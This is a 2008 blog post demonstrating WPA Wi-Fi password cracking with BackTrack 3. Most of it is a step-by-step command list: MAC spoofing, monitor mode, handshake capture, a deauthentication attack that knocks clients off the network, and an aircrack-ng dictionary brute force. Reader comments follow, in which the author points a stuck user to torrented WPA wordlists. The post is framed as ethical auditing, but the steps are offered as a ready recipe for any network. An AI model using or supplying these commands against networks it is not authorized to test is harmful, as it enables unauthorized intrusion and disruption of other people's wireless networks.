WPA crack with Backtrack 3

Aug 31st, 2008 | By prithpal | Category: Wireless



This Video demonstrates WPA cracking using dictionary based brute force, all tools used in demonstration are available in Backtrack3.

Backtrack is a security penetration testing live open source Linux distro, Backtrack took two of the best, Whax and Auditor and merged them to make one meaningful distro that emerged as an ethical hackers best choice for security auditing. It comes loaded with tools including network mapping, Info gathering, vulnerability Identification tools, and even some for Bluetooth hacking.

Commands Used in video (Step by Step):

1)airmon-ng stop wlan0

2)ifconfig wlan0 down

3)macchanger –mac 00:11:22:33:44:55 wlan0

4)airmon-ng start wlan0

5)airodump-ng wlan0

6)airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0

7)aireplay-ng -0 5 -a (bssid)wlan0

8)aircrack-ng (filename-01.cap)-w (dictionary location)

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Backtrack can be downloaded from here


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  1. hey i have a problem

    passphrase not in dictionary
    can u help me please.

  2. Try updating your dictionary.

  3. where can i download a good, free dictionary file?

  4. Search for password generators, there are plenty of wpa dictionary in wild, available in torrent, for auditing and educational purpose, probably ( http://www.churchofwifi.org/Project_Display.asp?PID=90 ) has something, you can check out other sources though.

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